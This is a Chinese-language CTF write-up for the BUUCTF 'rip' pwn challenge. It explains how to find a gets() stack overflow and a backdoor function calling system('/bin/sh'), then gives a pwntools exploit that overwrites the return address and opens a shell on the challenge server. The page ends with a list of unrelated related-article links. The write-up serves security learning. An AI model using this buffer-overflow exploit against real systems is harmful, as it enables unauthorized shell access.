[BUUCTF]PWN2-rip

题目网址:https://buuoj.cn/challenges#rip
步骤
例行检查附件,64位程序,没有开启任何保护

nc一下,看看输入点的提示字符串,让我们写入一个字符串,然后回显ok,bye

用对应位数的ida打开,shift+f12先来查看一下程序里有的字符串

这里可以看到有bin/sh还有system函数,对于这两个我们比较敏感,因为system(/bin/sh)这句代码能让我们直接获取shell
双击bin/sh跟进,然后安装ctrl+x查看一下哪里调用了这个字符串,点击ok跳转

跳转过来是这样的图形化界面

按f5可以将其编译为伪代码,可以看到这个函数的作用就是获取主机的shell,一般这种函数叫后门函数我们可以在左边函数列表里看到它的函数地址shell_addr=0x401186

我们也可以在之前的图形化界面按空格转换为汇编,一样可以看到函数的地址

回到之前的检索字符串的界面,双击“please input”,跟进找到输入点

第6行,gets函数让我们输入一个字符串给s,可以看到ida分析出来的s的大小是0xF,gets函数没有限制我们输入的字符串的长度,只要我们输入的字符串的长度超过了0xF,就会造成溢出
我们首先来看一下函数栈,如图,从下往上看,变量后跟的是ebp,之后是返回地址,我们这边要造成溢出利用,就得要从变量那边写数据,溢出到返回地址,这需要输入的字符串的长度=变量大小+ebp
32位程序的ebp的大小是4,64位程序的ebp的大小是8

所以我们这边要完成利用所需要的溢出长度是0xF+8,之后将返回地址填上我们之前找到的后门函数地址即可完成利用

exp:

from pwn import*
r=remote('node3.buuoj.cn',29386)
shell_addr=0x401186
payload='a'*(0xF+8)+p64(0x401198)+p64(shell_addr)
#payload='a'*15+p64(shell_addr)
r.sendline(payload)
r.interactive()

在写exp的时候发现不覆盖ebp直接填上后门函数地址也可以完成利用,按照理论应该是不可以的,不懂为什么

[BUUCTF]PWN2——rip的更多相关文章

  1. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  2. buuctf@rip

    exp: from pwn import * buf_start = 0x00007FFDBD754931 buf_end = 0x00007FFDBD754948 func_fun_addr= 0x ...

  3. Buuctf刷题:部分

    get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...

  4. 动态选路、RIP协议&&OSPF协议详解

    动态选路.RIP协议&&OSPF协议详解 概念 当相邻路由器之间进行通信,以告知对方每个路由器当前所连接的网络,这时就出现了动态选路.路由器之间必须采用选路协议进行通信,这样的选路协议 ...

  5. 路由信息协议(RIP)的防环机制

    防环机制 1-记数最大值(maximum hop count):定义最大跳数(最大为15跳),当跳数为16跳时,目标为不可达. 2-水平分割(split horizon):从一个接口学习到的路由不会再 ...

  6. RIP、OSPF、BGP、动态路由选路协议、自治域AS

    相关学习资料 tcp-ip详解卷1:协议.pdf http://www.rfc-editor.org/rfc/rfc1058.txt http://www.rfc-editor.org/rfc/rfc ...

  7. CCNA的RIP路由学习

    rip(routing infomation protocol,路由信息协议) ,是一个纯粹的距离矢量路由选择协议,RIP每隔30s就将自己完整的路由选择表从所有激活的接口上送出.RIP只将跳计数作为 ...

  8. 配置Rip的认证

      实验拓扑图 PS:我做实验使用的是DynamipsDUI模拟器,并且加载的是真实的ios镜像(c3745-advipservicesk9-mz.124-3c.bin) 1. 配置路由器R1 2. ...

  9. CCNP第一天 Rip综合实验

    实验题如图所示 R2--R6之间是RipV2, R7和R8是RipV1, 除了R2到R6是快速以太网线,其他均为串线. 所用的拓扑图为CCNP标准版拓扑 如下: ------------------- ...

随机推荐

  1. ML2021 | (腾讯)PatrickStar:通过基于块的内存管理实现预训练模型的并行训练

    ​  前言  目前比较常见的并行训练是数据并行,这是基于模型能够在一个GPU上存储的前提,而当这个前提无法满足时,则需要将模型放在多个GPU上.现有的一些模型并行方案仍存在许多问题,本文提出了一种名为 ...

  2. 【Tool】MySQL安装

    MySQL安装 2019-11-07  14:30:32  by冲冲 本机 Windows7 64bit,MySQL是 mysql-8.0.18-winx64.zip. 1.官网下载 https:// ...

  3. idea给类增加注释

    File-->Settings-->Editor-->File and Code Templates 找到class #if (${PACKAGE_NAME} && ...

  4. vue-router的安装和使用

    第一种方式(简单):新建项目时用 vue-cli 手动选择 router 安装. 1.用键盘 ↓ 移动选择第三项" Manually select features"(手动配置): ...

  5. 【POJ3349 Snowflake Snow Snowflakes】【Hash表】

    最近在对照省选知识点自己的技能树 今天是Hash 题面 大概是给定有n个6元序列 定义两个序列相等 当两个序列各自从某一个元素开始顺时针或者逆时针旋转排列能得到两个相同的序列 求这n个6元序列中是否有 ...

  6. SA 复习笔记

    大家好,由于蒟蒻 tzc 最近被动态点分治这个学也学不会的毒瘤玩意儿虐得不轻,所以就准备换换脑筋来 Van 同样学也学不会的后缀数组了. 考虑一个非常经典的问题:[模板]后缀排序. 一些定义(very ...

  7. Codeforces 1383C - String Transformation 2(找性质+状压 dp)

    Codeforces 题面传送门 & 洛谷题面传送门 神奇的强迫症效应,一场只要 AC 了 A.B.D.E.F,就一定会把 C 补掉( 感觉这个 C 难度比 D 难度高啊-- 首先考虑对问题进 ...

  8. 洛谷 P4564 [CTSC2018]假面(期望+dp)

    题目传送门 题意: 有 \(n\) 个怪物,第 \(i\) 个怪物初始血量为 \(m_i\).有 \(Q\) 次操作: 0 x u v,有 \(p=\frac{u}{v}\) 的概率令 \(m_x\) ...

  9. 洛谷 P4749 - [CERC2017]Kitchen Knobs(差分转换+dp,思维题)

    题面传送门 一道挺有意思的思维题. 首先有一个 obvious 的结论,就是对于每个炉子,要么转到哪里都符合条件,要么存在唯一的最大值.对于转到哪儿都符合条件的炉子我们 duck 不必考虑它,故我们只 ...

  10. python-django 模板的抽象和继承

    {% include %}只需要一句即可,不需要end***